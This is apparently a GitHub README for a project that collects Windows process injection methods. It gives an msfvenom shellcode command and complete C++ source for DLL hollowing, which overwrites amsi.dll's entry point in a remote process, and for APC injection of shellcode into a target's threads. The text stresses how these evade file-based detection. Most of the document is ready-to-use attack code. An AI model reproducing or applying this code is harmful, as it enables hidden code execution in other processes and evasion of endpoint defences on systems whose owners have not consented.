genIoco / ProcessInjection

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Windows下的进程注入方法

0x00 前言

​ 本项目致力于尽可能多的收集Windows下的进程注入方法,并提供源码复现。

0x01 工作计划

  • DLL Hollowing
  • APC Injecting
  • [ ]

0x02 注入内容

​ 为了验证注入方法的可行性,我们使用msfvenmon工具生成执行命令行的shellcode:

msfvenom -p windows/x64/exec CMD=cmd.exe -f c > shellcode.h

0x03 DLL Hollowing

​ Module Stomping(又称为Module Overloading或DLL Hollowing)技术,基本原理是将一些正常的DLL注入到目标进程中,寻找入口函数,并使用ShellCode覆盖入口地址所指向的内容,创建新线程加以执行。

基本步骤

  • 向远程进程中导入良性Windows DLL,例如C:\\windows\\system32\\amsi.dll
  • 使用ShellCode覆写良性DLL的入口地址内容。
  • 启动线程执行DLL 入口地址。

优势

  • 无需显式分配或者修改RWX执行权限内存页。
  • ShellCode被注入到完全合法的Windows DLL中,因此基于文件路径或文件名的检测失效。
  • 执行ShellCode的远程线程由合法的Windows模块相关联。

源码实现

int DLLHollowing()
{
	HANDLE processHandle;
	PVOID remoteBuffer;
	WCHAR moduleToInject[] = L"C:\\windows\\system32\\amsi.dll";
	HMODULE modules[256] = {};
	SIZE_T modulesSize = sizeof(modules);
	DWORD modulesSizeNeeded = 0;
	DWORD moduleNameSize = 0;
	SIZE_T modulesCount = 0;
	CHAR remoteModuleName[128] = {};
	HMODULE remoteModule = NULL;

	// inject a benign DLL into remote process
	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetPID(ProcessName));

	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL);
	PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
	HandlePtr dllThreadHandlePtr(
		CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL),
		&::CloseHandle);

	HANDLE dllThreadHandle = dllThreadHandlePtr.get();
	if (!dllThreadHandle)
	{
		throw MyException("CreateRemoteThread failed.");
		return -1;
	}
	WaitForSingleObject(dllThreadHandle, 1000);

	// find base address of the injected benign DLL in remote process
	EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
	modulesCount = modulesSizeNeeded / sizeof(HMODULE);
	for (size_t i = 0; i < modulesCount; i++)
	{
		remoteModule = modules[i];
		GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName));
		if (std::string(remoteModuleName).compare("amsi.dll") == 0)
		{
			std::cout << remoteModuleName << " at " << modules[i];
			break;
		}
	}

	// get DLL's AddressOfEntryPoint
	DWORD headerBufferSize = 0x1000;
	LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
	ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL);

	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer;
	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew);
	LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule);
	std::cout << ", entryPoint at " << dllEntryPoint;

	// write shellcode to DLL's AddressofEntryPoint
	WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);

	// execute shellcode from inside the benign DLL
	CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);

	return 0;
}

0x04 APC Inject

​ Asynchronous procedure call(APC,异步过程调用)是一种在线程异步执行指定函数的功能,主要用于异步的IO或定时器。每个线程都用自己的APC队列,程序可使用QueueUserAPCAPI函数向线程APC队列中添加新的APC调用。APC调用序列的函数并不会实时被调用执行,而是当该线程处于可警告(或者说可通知状态、挂起状态)时,才会自动调用APC队列中的函数,调用的顺序为先入先出。

​ 当线程调用SleepExSignalObjectAndWaitMsgWaitForMultipleObjectsExWaitForMultipleObjectsExWaitForSingleObjectEx函数时,线程会进入挂起状态,此时APC队列函数将会被调用,在整个执行过程中,线程并无任何异常举动,不容易被察觉,但缺点是对于单线程程序一般不存在挂起状态

基本步骤

  • 使用OpenProcess获取目标进程句柄
  • 通过函数CreateToolhelp32Snapshot()Thread32First()以及Thread32Next()遍历进程快照,获取目标进程的所有线程ID。
  • 调用VirtualAllocEx()在目标进程申请内存,通过WriteProcessMemory()向内存写入DLL的注入路径。
  • 最后,遍历线程ID,获取线程句柄。调用QueueUserAPC()向线程中插入APC函数,设置APC函数地址为LoadLibraryA()的地址。

源码实现

int APCInject()
{
	HANDLE hProcess;
	LPDWORD pThreadIdList = NULL;
	DWORD dwThreadIdListLength = 0;
	DWORD dwPid = 0;

	dwPid = GetPID(ProcessName);

	// get process thread
	if (!GetProcessThreadList(dwPid, &pThreadIdList, &dwThreadIdListLength))
	{
		throw MyException("Get process thread list failed.");
		return -1;
	}

	// open process handle
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	
	// alloc readwrite and execute page 
	PVOID lpAddr = NULL;
	SIZE_T page_size = 4096;

	lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	if (lpAddr == NULL)
	{
		VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
		CloseHandle(hProcess);
		return FALSE;
	}

	if (FALSE == ::WriteProcessMemory(hProcess, lpAddr,shellcode ,sizeof shellcode , nullptr))
	{
		VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
		CloseHandle(hProcess);
		return FALSE;
	}

	float fail = 0;
	for (int i = dwThreadIdListLength - 1; i >= 0; i--)
	{
		// 打开线程
		HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
		if (hThread)
		{
			// 插入APC
			if (!::QueueUserAPC((PAPCFUNC)lpAddr, hThread, (ULONG_PTR)lpAddr))
			{
				fail++;
			}
			// 关闭线程句柄
			::CloseHandle(hThread);
			hThread = NULL;
		}
	}

	printf("Total Thread: %d\n", dwThreadIdListLength);
	printf("Total Failed: %d\n", (int)fail);

	if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
	{
		MessageBox(NULL, L"注入完成!", L"提示", MB_OK);
		return TRUE;
	}
	else
	{
		MyException("Inject may be failed\n");
		return FALSE;
	}
}

参考链接

Asynchronous Procedure Calls

About


Languages

Language:C 84.9%Language:C++ 15.1%